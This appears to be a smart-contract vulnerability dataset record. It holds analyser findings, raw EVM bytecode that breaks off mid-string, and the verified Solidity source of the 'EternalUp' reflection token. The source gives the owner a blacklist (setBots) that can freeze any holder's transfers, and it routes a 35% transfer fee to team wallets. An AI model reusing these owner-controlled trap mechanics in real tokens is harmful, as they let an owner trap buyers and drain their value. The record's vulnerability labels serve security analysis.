1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561279857600080fd5b600160149054906101000a900460ff161515156127b457600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128b75780601f1061288c576101008083540402835291602001916128b7565b820191906000526020600020905b81548152906001019060200180831161289a57829003601f168201915b505050505081565b600042905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561290457600080fd5b61299382600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff16151515612b1c57600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612b7657600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bd357612bd133613944565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612c0f57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515612c5d57600080fd5b612caf83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4483600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e5457600080fd5b612e5e8686613640565b50612e6c8686868686611f5b565b506001905095945050505050565b600080600080600080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156130ee57600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002089815481101515612fb157fe5b906000526020600020906004020160030154600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a81548110151561300f57fe5b906000526020600020906004020160000154600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208b81548110151561306d57fe5b906000526020600020906004020160010154600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208c8154811015156130cb57fe5b90600052602060002090600402016002015495509550955095509550955061319d565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000806000808393508292508191508090509550955095509550955095505b9295509295509295565b6000806131b385613b1a565b15156131be57600080fd5b8490506131cb8585610d7c565b15613335578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132c55780820151818401526020810190506132aa565b50505050905090810190601f1680156132f25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561331457600080fd5b505af1158015613328573d6000803e3d6000fd5b5050505060019150613336565b5b509392505050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561346857600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156134c157600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156135c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156135fc57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561369d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156136d957600080fd5b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561374857600080fd5b6137bb82600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061387182600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613a825760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156139f85760019150613a87565b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515613a4557fe5b906000526020600020906004020160000154111515613a7557613a688382613b2d565b15613a74576001810390505b5b808060010191505061394c565b600191505b50919050565b6000828211151515613a9b57fe5b818303905092915050565b6000808284019050838110151515613aba57fe5b8091505092915050565b6000808284811515613ad257fe5b0490508091505092915050565b6000806000841415613af45760009150613b13565b8284029050828482811515613b0557fe5b04141515613b0f57fe5b8091505b5092915050565b600080823b905060008111915050919050565b6000806000806000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613b8d57600080fd5b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905086101515613bdd57600080fd5b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481101515613c2957fe5b9060005260206000209060040201935083600201549250613c57846000015442613a8d90919063ffffffff16565b9150613c70846001015483613ac490919063ffffffff16565b9050613c9b613c8c856002015483613adf90919063ffffffff16565b84613aa690919063ffffffff16565b92508360030154831015156140485783600301549250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481101515613cfd57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613dc36001600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613a8d90919063ffffffff16565b815481101515613dcf57fe5b9060005260206000209060040201600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002087815481101515613e2957fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081613eb79190614305565b506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415613f5c576000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a2613ffc83600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600194506142fb565b6140e16140758560010154614067600185613aa690919063ffffffff16565b613adf90919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811015156140c157fe5b906000526020600020906004020160000154613aa690919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110151561412d57fe5b9060005260206000209060040201600001819055506141b283600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208881548110151561419257fe5b906000526020600020906004020160030154613a8d90919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811015156141fe57fe5b9060005260206000209060040201600301819055508673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a26142b383600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600094505b5050505092915050565b815481835581811115614332576004028160040283600052602060002091820191016143319190614337565b5b505050565b61437391905b8082111561436f576000808201600090556001820160009055600282016000905560038201600090555060040161433d565b5090565b905600a165627a7a7230582087dec0925583db7a61412ae11a68f099e919a5ab4c3d74b6330975de4c28554f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,843
0x279313ea666ae2f50e9d37f180976c9a6df6920d
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /* EternalUp */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EternalUp is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EternalUp"; string private constant _symbol = "EternalUp"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 30; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 30; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f457465726e616c55700000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f457465726e616c55700000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a